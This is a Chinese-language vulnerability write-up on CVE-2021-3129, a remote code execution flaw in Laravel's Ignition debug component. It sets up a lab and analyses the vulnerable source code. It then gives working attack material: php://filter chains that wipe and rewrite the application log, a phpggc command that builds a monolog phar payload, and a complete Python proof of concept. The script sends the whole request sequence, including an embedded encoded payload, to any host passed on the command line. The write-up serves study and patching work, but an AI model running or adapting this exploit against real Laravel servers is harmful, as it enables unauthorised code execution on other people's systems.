0%

CVE-2021-3129 Laravel远程代码执行漏洞

img

CVE-2021-3129 Laravel远程代码执行漏洞

漏洞详情

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

影响范围

Laravel <= 8.4.2

Ignition <2.5.2

漏洞环境

使用GitHub上已有现成的docker环境搭建

1
2
3
git clone https://github.com/SNCKER/CVE-2021-3129 
cd CVE-2021-3129/
docker-compose up -d

访问http://192.168.130.128:8888

出现此页面说明环境搭建完成。

img

同时我们需要下载漏洞利用所需的phpggc

1
2
git clone https://github.com/ambionics/phpggc.git 
chmod 777 phpggc/

漏洞复现

Ignition 2.5.1 源代码审计。漏洞其实就发生在Ignition(<=2.5.1)中

在功能解析的文章中,我们知道 Igniton 有很多建议的解决方案,这对应着源码中的 Solutions

img

在我们配置环境过程中出现的generate app key 也源自于它。点击按钮后会发送一个请求,也就是通过这个请求Ignition成功在配置文件中生成了一个key。

img

通过这些solutions,开发者可以通过点击按钮的方式,快速修复一些错误。

本次漏洞就是其中的vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php过滤不严谨导致的。

漏洞分析

首先我们到执行solution的控制器当中去,看看是如何调用到solution的

1
\src\Http\Controllers\ExecuteSolutionController.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

namespace Facade\Ignition\Http\Controllers;

use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;

class ExecuteSolutionController
{
use ValidatesRequests;

public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();

$solution->run($request->get('parameters', [])); /***/

return response('');
}

}

接着调用solution对象中的run()方法,并将可控的parameters参数传过去。通过这个点我们可以调用到MakeViewVariableOptionalSolution::run()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

namespace Facade\Ignition\Solutions;

use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;

class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}

public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));

$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

if ($expectedTokens !== $newTokens) {
return false;
}

return $newContents;
}

protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}

return $expectedTokens;
}

}

根据这段代码可以观察出这里的主要功能点是:读取一个给定的路径,并替换$variableName$variableName ?? '',之后写回文件中。

因为这里调用了file_get_contents(),且其中的参数可控。通过 phar://伪协议解析 phar 文件时,会将 meta-data 进行反序列化,我们或许可以利用它来 RCE。

原文作者给出了一种基于框架触发phar反序列化的方法:将log文件变成合法的phar文件。

我们的目的是要找合适的文件写入,之前的情况是使用了未知变量,但因为 variableName 修改文件内容前有严格验证,我们并不能利用它,也不能从页面得到任何有效信息,已存在的文件同理。

那么,最后的选项便是日志文件了。

log 转 phar

Laravel 使用 Monolog 库为各种强大的日志处理程序提供支持,config/app.php 配置文件的 debug选项决定了是否向用户显示错误信息。默认情况下,此选项设置为获取存储在 .env 文件中的 APP_DEBUG 环境变量的值,默认的 Laravel 日志记录在一个文件 storage/logs/laravel.log

img

清空log文件

作者在文章中提出了使用php://filter中的convert.base64-decode过滤器的特性,将log清空。

img

可以看到convert.base64-decode过滤器会将一些非base64字符给过滤掉后再进行decode,所以可以通过调用多次convert.base64-decode多次触发该特性来将log清空。

img

但是这样做其实会出现一些非预期的问题

img

如果在某次decode时,=号后面出现了别的base64字符,那么php是会报一个Warning的。且由于laravel开启了debug模式,所以会触发Ignition生成错误页面,导致decode后的字符没有成功写入。

根据这个思路的原理,我们可以将清空日志分成两个步骤:

  1. 使log文件尽量变成非base64字符
  2. 通过convert.base64-decode将所有非base64字符decode,达到清空的目的

作者在第一步使用的方法为多次convert.base64-decode,但是这样可能会在其中的某一环报上面提到的错误。所以我们可以想办法找到另外一种方式达到第一步的目的。

原log文件

1
2
3
4
5
6
7
8
9
10
[2021-04-10 14:35:38] local.ERROR: file_get_contents(snovving): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(snovving): failed to open stream: No such file or directory at /src/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/src/vendor/fac...', 75, Array)
#1 /src/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('snovving')

...

#36 /src/server.php(21): require_once('/src/public/ind...')
#37 {main}
"}

1、使用convert.iconv.utf-8.utf-16be(UTF-8 -> UTF-16BE)

1
2
3
4
5
6
7
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"username",
"viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be/resource=../storage/logs/laravel.log"
}
}

img

img

2、使用convert.quoted-printable-encode(打印所有不可见字符)

1
2
3
4
5
6
7
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"username",
"viewFile":"php://filter/write=convert.quoted-printable-encode/resource=../storage/logs/laravel.log"
}
}

img

img

3、使用convert.iconv.utf-16be.utf-8(UTF-16BE -> UTF-8)

1
2
3
4
5
6
7
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"username",
"viewFile":"php://filter/write=convert.iconv.utf-16be.utf-8/resource=../storage/logs/laravel.log"
}
}

img

img

可以看到经过这样操作后log文件中所有字符变成了非base64字符,这时候再使用convert.base64-decode过滤器就可以成功清空了。

1
2
3
4
5
6
7
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"username",
"viewFile":"php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

img

将上述链条和起来就是

1
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

这样我们就完成了第一步。

写入符合规范的phar文件

我们可以通过这里的file_get_contents()去触发日志的记录

img

img

通过观察,我们可以发现log文件的格式其实是下面这样子的

1
[时间] [某些字符] PAYLOAD [某些字符] PAYLOAD [某些字符] 部分PAYLOAD [某些字符]

我们的PAYLOAD会在log文件中完整出现两次,我们最终需要让log文件变成我们的恶意Phar文件。所以我们还得继续对log文件进行操作。

原作者给出了一种使用convert.iconv.utf-16le.utf-8将utf-16转成utf-8的方案

img

但是这里出现了两次PAYLOAD,我们可以在PAYLOAD后面添加一个字符,使得utf-16转成utf-8时总有一个PAYLOAD能被转换出来。

img

这样子就是我们预期的效果,因为除了PAYLOAD的部分都是非base64字符,只要我们将PAYLOAD进行base64编码后再decode即可把非base64字符消除掉。

img

但是这么做还会有一个问题,就是在file_get_contents()传入\00的时候php会报一个Warning,同样会触发Debug页面的报错。所以还得想办法将空字节(\00)写入到log中。

好在php为了将不可见字符打印出来,给出了一个convert.quoted-printable-encode过滤器

img

原理就是将字符转成ascii后前面加个=号,将其打印出来。

而与之对应的convert.quoted-printable-decode过滤器,则是相反。

原理是将等于号后面的ascii字符解码后,打印出来。

img

所以我们可以使用=00代替\00传入到file_get_contents()中

所以完整和起来就是如下这样

1
2
3
php > file_put_contents('test.txt',"[2021-04-11 11:26:54] asd =55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00a asda =55=00=45=00=46=00=5A=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00a asd");
php > echo file_get_contents('php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=test.txt');
PAYLOAD

img

这样就可以成功过滤掉其他干扰字符,将PAYLOAD送到log文件中。

写入

我们先来尝试写入一些普通字符

清空log文件
1
2
3
4
5
6
7
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"username",
"viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

img

img

给log添加一条前缀
1
viewFile: AA

img

img

将需要写入的字符编码

img

将编码后的字符写入到log中
1
viewFile: =55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00

img

img

清空干扰字符
1
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

img

img

成功写入了任意字符,log文件的内容我们可控了。

漏洞利用

1、编码构造,需要在 phpggc 目录中运行

1
php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output |base64 -w0

img

再将该base64编码后的字符进行convert.quoted-printable-encode编码

img

2、清空 log 文件:

1
viewFile: php://filter/read=consumed/resource=../storage/logs/laravel.log

img

3、将第一步构造好的 payload 发送:

1
=50=00=44=00=39=00=77=00=61=00=48=00=41...=00=43=00=54=00=55=00=49=00=3D=00

img

4、转换文件,清空干扰字符只留下我们生成的payload:

1
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

img

注意转换文件这步一定要无返回信息,如果有错误,说明前几步没能成功。

此时的 log 文件一定只有一条完整的 payload ,也就是纯净的 phar 文件:

5、触发phar反序列化伪协议:

1
viewFile: phar://../storage/logs/laravel.log/test.txt

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#! -*- coding:utf-8 -*-
import sys
import requests
import re
class Poc:
def clear_log(self,schema, host, port):
base_url = "{}://{}:{}".format(schema, host, port)
path="/_ignition/execute-solution"
req_url="{}{}".format(base_url,path)
payload='''
{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
'''
_headers ={
"Content-Type":"application/json"
}
resp = requests.post(req_url,data=payload, headers=_headers, allow_redirects=False)
return resp.status_code
def add_prefix(self,schema, host, port):
base_url = "{}://{}:{}".format(schema, host, port)
path = "/_ignition/execute-solution"
req_url = "{}{}".format(base_url, path)
payload = '''
{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
'''
_headers ={
"Content-Type": "application/json"
}
resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False)
return resp.text
def send_payload(self,schema, host, port):
base_url = "{}://{}:{}".format(schema, host, port)
path = "/_ignition/execute-solution"
req_url = "{}{}".format(base_url, path)
payload = '''
{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=79=00=4F=00=69=00=4A=00=70=00=5A=00=43=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=68=00=62=00=47=00=6C=00=36=00=5A=00=57=00=51=00=69=00=4F=00=32=00=49=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=4D=00=61=00=57=00=31=00=70=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=62=00=33=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6E=00=4A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=59=00=36=00=49=00=6E=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=49=00=36=00=49=00=6D=00=6C=00=6B=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=47=00=63=00=49=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=47=00=63=00=49=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=46=00=75=00=79=00=53=00=68=00=78=00=45=00=4F=00=52=00=4C=00=32=00=32=00=52=00=68=00=4D=00=5A=00=47=00=4A=00=66=00=69=00=32=00=6F=00=6A=00=4F=00=4E=00=33=00=33=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a"
}
}
'''
_headers = {
"Content-Type": "application/json"
}
resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False)
return resp.text
def restore_payload(self,schema, host, port):
base_url = "{}://{}:{}".format(schema, host, port)
path = "/_ignition/execute-solution"
req_url = "{}{}".format(base_url, path)
payload ='''
{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
'''
_headers = {
"Content-Type": "application/json"
}
resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False)
return resp.status_code
def phar_unserialize(self,schema, host, port):
base_url = "{}://{}:{}".format(schema, host, port)
path = "/_ignition/execute-solution"
req_url = "{}{}".format(base_url, path)
payload = '''
{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar://../storage/logs/laravel.log/test.txt"
}
}
'''
_headers = {
"Content-Type": "application/json"
}
resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False)
return resp.text
def crack(self, schema, host, port):
for i in range(3):
if self.clear_log(schema, host, port)==200:
print("laravel log cleard")
self.add_prefix(schema, host, port)
self.send_payload(schema, host, port)
if self.restore_payload(schema, host, port)==200:
print("successfully converted to phar")
resp_text=self.phar_unserialize(schema, host, port)
if "uid=" in resp_text and "gid=" in resp_text:
print("phar unserialize")
print(resp_text.split("\n")[-2])
break
else:
print("converted to phar fails")
else:
print("laravel log clear fails")

if __name__ == "__main__":
poc = Poc()
poc.crack(sys.argv[1], sys.argv[2], sys.argv[3])

直接利用EXP:

img

最后小结

经过上面的漏洞分析,我们知道我们可以通过file_put_contents()写入任意数据至 log 文件,然后经 file_get_contents()读回

phar 反序列化 RCE (https://paper.seebug.org/680/)

php://filter 多个过滤器配合妙用 (https://www.leavesongs.com)

----------------本文结束感谢阅读----------------